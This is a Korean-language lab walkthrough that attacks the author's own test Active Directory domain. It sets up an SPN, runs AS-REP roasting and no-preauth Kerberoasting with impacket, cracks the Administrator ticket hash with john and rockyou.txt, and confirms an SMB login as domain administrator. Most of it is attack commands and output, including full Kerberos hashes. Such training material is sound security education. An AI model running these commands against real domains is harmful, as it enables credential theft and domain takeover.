PS C:\Users\Administrator> New-Service -Name "ASREPTGT" -BinaryPathName "C:\Windows\System32\notepad.exe" -DisplayName "AS-Requested Service Ticket" -Description "A test service for Kerberos SP
>> N" -StartupType Manual
Status Name DisplayName
------ ---- -----------
Stopped ASREPTGT AS-Requested Service Ticket
PS C:\Users\Administrator> SetSPN -A ASREPTGT/PENTESTING.wiki Administrator
Checking domain DC=pentesting,DC=wiki
Registering ServicePrincipalNames for CN=Administrator,CN=Users,DC=pentesting,DC=wiki
ASREPTGT/PENTESTING.wiki
Updated object
도메인에서 Administrator 계정으로 ASREPTGT라는 서비스를 생성하고 SPN으로 등록합니다.
획득했던 사용자 목록 파일인 users.txt를 이용하여 AS-REP-Roasting에 취약한
사용자 목록을 확인합니다.
┌──(root__kali)-[~/Pentesting]
└─# impacket-GetNPUsers pentesting/'' -usersfile users.txt -dc-ip 10.0.2.10
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
$krb5asrep$23$wiki@PENTESTING:a5b921dd8e24f535c0be983ebdca52a3$c348d23a0f8318fa2637c334b19979efaed50ba730cd4b69bfd5792be435909fc31af51a6977c97d0247457624f778fdee70eaa4a57ab04e2262d64e6b9cd1a7c09a951db020faa47c2a1a31b5a44212a9c7f1f4376a69ca47272de8b448471919027b963729523f3205d144a45e8c124b779910d90cf6984420d4c98e7aa73bd2e23cf16c96252106d7bd4fe8fcf811a137d1b338e05f2387a9ba500849e5e2e285a27adbccb4ad480f34b9262daa87565ade1404ec935f6e2da8e31d67fe023af1990191e36f5c2049a9ab1d95cb2b20dcaa9c3569822ed65ad395c2ba0fd20e0a182707a465e7a40c61f9e1
[-] User park doesn't have UF_DONT_REQUIRE_PREAUTH set
스캔 결과 wiki 계정에서 Do not require preauthentication 설정이 되어있음이 확인되었습니다.
유저 목록이 있기 때문에 SPN을 따로 지정하지 않고 유저 이름을 지정하여
유저의 이름으로 등록된 서비스가 있는지를 확인하는 커버로스팅 공격을 수행합니다.
# 명령어 양식
impacket-GetUserSPNs -no-preauth <USER> -usersfile <users.txt> -dc-host <IP> <Domain>/
┌──(root__kali)-[~/Pentesting]
└─# impacket-GetUserSPNs -no-preauth wiki -usersfile users.txt -dc-host 10.0.2.10 pentesting.wiki/
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
$krb5tgs$23$*Administrator$PENTESTING.WIKI$Administrator*$db249d3d63c9fb10bb04e82d657bd51b$9322acdcb727e9f8e09ae904f404a317a1dd50cb65f2b4e5c6f6556140b129818198c4e06e6250c6389c7d4744f9cdd0db2f57c5b0d3861a175137e1574eb435e9659a2d86d829c93c69e49eaa489051da95dd933670d1ac05c20c21e0ccd749b2d58f56f414c31d3107473fbfd391fbf922e8aefe433fb2f8db796e9b646c2550f91b135ba6e4692a4efd6d70165a780113aff7a6c41f500c894c30cd35f0ba52ebda17d454e00c8b88da8f56866eab694bd8888b7c48fffb1d52f91cd161fad345d4d04ff3f9771212ecad4a276ff9fd3e18bdf9e81962ae88cf63d3654cdd236aace1e6e29a731a79aa7585f2d5a4004ef912697fae6ce772c27bbc9973e2966be429d6603bf205b3923b11fd14e8f1852feeb264266e10e175b6668c34561ea53fe196cd26cd835c3388bdf265346d736f1d5908ccf60bfa05e0e014f863630f2675e8eeb1213017fe9c06dd75a66a9718e133ac62a4fbb032ad15f38cdd84142fad0c6c2215d634dbbb72ce312efd225f1aad4388c4a88ffb29b26595aed1b2389e17b1111ca05abd2c7cb3d416871debe54b9411725d73e5b27e6386c9777fc2e0d66cdd0cd745fa92e082824ef5fff3d95b097b623cb2d962b0c0124735e4f0db3ddc6f45bd2b9bb0c5ed45cacafda71e81572e8ebe6302bbbcc170ceadcc326f7272674b8330da54632a2a9c2a37afa132234da34825e3ed2241a02622158e0035fec92caf6ed922f8d965367edd3c3ab4ae250b0c1c3c1e76f6bf874491e59619437c5cc5acc34649cc77962a0fbea9b76486c7b3af7fe0e7e1e22d59bc1e48454fe04076a1558dc5736f9485e9454a916192a5d85f65d212361f3aa03b5d2a959475969ca510350d36f2ed0a424446226998b3eb3491a74e0e4eacbf20e76198ea0d66a4d1518e739862db4dfe9867c9b5947dd7b3fda2b66fa1c40bb4f0dfefa80a309421f8dc2e108aa2a5b3a4a779a63e5cd64524e0c8fa2ac326386d31df530f7b6cca46f921e38a28df4422aaa18963e52a0cbac9865dcc39d0d1c0ba266182780740885817792a7a19349378e910f2aa96601fba5f6c90878c7a5a2912d5b77228d56d1bd1ba610d60173f9f8119bcd0631cd013549b23de9e9e658bf88a8629899767313f58501b92ba6bab2b371469afaaf0a94ae2be12caa4ad4c2eaec727538d51e88043bf513a7a5c71b3b678e1dc7c3dff7f035ecd04f4ddbc0b7efce96fd84dac75253d7a3a5ddff768b3eb39603f2a1b12fadadd3e65226441331d46357c81d44a3c5e234bb945b1965941456f5c3999
[-] Principal: Guest - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$18$krbtgt$PENTESTING.WIKI$*krbtgt*$c52e4442ec3ed362ad74337b$025950fa4f42a96fb057db0085dcfe969edc307644b460ff1f6a5c23f394b365a260f271072c5cfbcd3e08d3b2ff5c6846648261b60d979e6431a0886b5f65d99189609db78db6473e672343c7502cec70b96c729975854bf49b535596224f840607de00a5228ebf999cfac9050ff336ce527d803fae5001f0ccf31317e7d6c9fb7a8f6bf7b8bd661d92852007b0ba830900b8f152da952e265c855874848b57531706c86fe1334024794ba99501f25aba2bd638a2aed284741baad03fa92e9fea241cc39b96ea30ebc64045f3f9c1c7e79a0a4d25ddc2b85fcbdc63a2593e66ea58d666b1d78d2c37f9845f93069bb35b460cd613f4b9192da22295ff958629ea2ff4a593680fc3cb00995404f24676e7a251f033913dbe8c2432f9d97a7b04f9a083833983dbe1283b25daa2d2ebca93160c06b7279e888d007ab50037f8ed1681e70bd06b78e04832fd1de99318eeb8e7d85a37f1511676aa5b6ad1b8743df1da2a0e5b697d1cb7223a14275090c58913110e1e665f645411f66f0960e2bea27cec0bd8d8d438306d5198fce1c12c48ba56409a9d9d78f692a0f581a9bd889f71214ab27098ae9a679b77b6926d67e3e79fd4ec1f60479892599692af9ad570b68f727a803d585af1db46f52e8aa7f7da8f4116534666e2d227adc582d90165b96b6d2b2da12564ae4aca03879b5b54509417b8abdfe61d3fd5b0ced3cac2f11f11fa894796d3fe3f8ce8fe29e3fb89a2521c669e7598ce682be9b94b52fc3d015f78c2e5d9ac8fba8a218ad88c6c11725c18536a1056f1eb5a136bcc428699d2ec8bac85c798d1a6cf433a1549b6de472414409b9347f9466566c7d8b0decc2f5bc60e15c5a9cd36bd7ba74e22d042970b8e370d25372975a73654c7ae86ad273d6635b7a97e9288f514bb2c86a46afc7bc4d0f35acc654b6c8946ee78b2b163df0af9f490a6ae145733adddce136af82316d413a8c5dc82c2a9ae02f17c24dba53c2c8e6b679f29057f2c05982ebe30817cf6d1b2dd2e9cbd4446b7b2c65ae3c3ea04500c9fb509905efe3468302dd2a0c55e5cab55b9359fd3284339c310a2c744dd61ee811fde4002e4e0e7e3ae8c44a5c600c6525d1359bac03e54dbb4fa55051acc9696da1c229cc1218990d6159366bb8893a2e9d47c407c1989351a5eceda0e504c918b7678c0d2550e137635e77006b03353cb123c4809a317e5dc06a1311212d279376ecef3455186b1a8fdfe501d47fa00693b99094305e6b48e6b01c520cdd24cf3841a638391b3790416c96f3571f0763e5f1f596a0f316d585ada25fd053161a6897bca
[-] Principal: DefaultAccount - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$23$*wiki$PENTESTING.WIKI$wiki*$fbf63a6121eae262b4ceac2bfee4f6f1$ff6a7ca59fedf5277e30756b82b7fa8e06d4288992c6583ac916d90b83c8c1f07af489f5174ef183cd4028b79b7da004097c8eab5d414bf5af0a2d3016c30e625005000e09de26a33c3692b3a294bd1d00d663177e02b3ba9e50843554f23c2beb9e946e1d9574662e5e01891436a9b5d06d808608b60647e2cd92d017f2b84a9a6167a5d5f64aa8cb00ae27dfa6b738e0b0d08e7bb08f7f10155c3cef8ead39aba9ae61e662b2d87d2847c8aa07e4ab3f0ae85fff60d4e60008a3d9cfc87c80dd1c3652af4adde31aadee3f638a52c5e806c0e81a55d96bd60718dfbcf6d5253525c5b75e37ed1afdfd97c04a5e18b2cb6f8e02a50863b1e1ffc6f7bfe8e76950f1c4e9df4b6353933dec6186ade54241105f44e1403670e5357e435eaa73a6144d140e664a7d43f5ff86ad634da9cf3b9709a96e1bd7074b0d025fd74271b16284b9617d36d268800f38cb33e7045b9aed816e5e67f65e03b900004dd2e1f73a5f49076783c30d190c12fa7e3d87ea7051cfe36ca82a00755d886a240ee1f3b720f8759397054b15c196d344567bf43eb52a12a4d79e5b68224ad0a92c90c53da0267ddc7bb04b940b54fd4d1076d65cc0bf08d52af48d780b0adac41d101089329b2e4e620d9ab732f9cf71fe1630ee58d76909a7da83f4ae6dba23a1e06152073d2744540032c131d9136648b03329f306a334ce6f7fff6694e0a810b8ddf6a6f060c42383de2de8d9b7c9aec713775a32daacae04cd3615e944e3b89a89eef105b9d9f12a9f30f266f9d3987376f865c84a754f98033d5f83b7d00d75b4f124cde7e384e6baa408686db5f80b88d9af2da2f9e93f5ff20f6f36138e530d7b1afe87ddd79c2738012506a9b8a2d33acdf088503c7556bafb3c8a7c8765cca7ab402c249704c4c258374f5cb6e1ef3b7c1019f12ee4a56c4bbbcd486763eca4e54b316ebe04a23716b41e24595a2db635efdba098b981427e86e21273f70bcfcffc63ebe8f824a03f0d56e745e0a9fdc0d2be7d55b01363fddab94e59358184a6b3ae72c60fcf0fc381f11041aab3d5cb11b59c7ec19806fe3808c7a81486f8d2469b4fbf10e41c4616fec6a0ef373fd14adc5865c4076d145f04e3cb578d663f13aaa57777216776700911bc7e1673d467881a52037702033d1020383464e08c97ff3445209530529b63cc7cf36e7b8ed522084cab0b261590bdf4ec037717469b4e1b53ea6b9f4495d3326ff513c2f1f8ec8f3b3529f77d30015476d5072190f41194e8412fe5a084f2b1fb74e4d38c539389379a918f834517
[-] Principal: park - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
여러가지 계정이 나왔지만 실습에서는 Administrator 계정에 대해서만 크래킹을 진행합니다.
Administrator의 패스워드를 일부러 취약한 password123!으로 지정했기 때문에
rockyou.txt 파일로 해쉬크래킹이 성공하고 SMB 접속에도 성공합니다.
┌──(root__kali)-[~/Pentesting]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt DomainAdministrator.hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Press 'q' or Ctrl-C to abort, almost any other key for status
password123! (?)
1g 0:00:00:12 DONE (2024-11-15 15:01) 0.08264g/s 395207p/s 395207c/s 395207C/s password142..password1228
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
┌──(root__kali)-[~/Pentesting]
└─# nxc smb 10.0.2.10 -u Administrator -p password123!
SMB 10.0.2.10 445 DC01 [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:DC01) (domain:pentesting.wiki) (signing:True) (SMBv1:True)
SMB 10.0.2.10 445 DC01 [+] pentesting.wiki\Administrator:password123! (Pwn3d!)
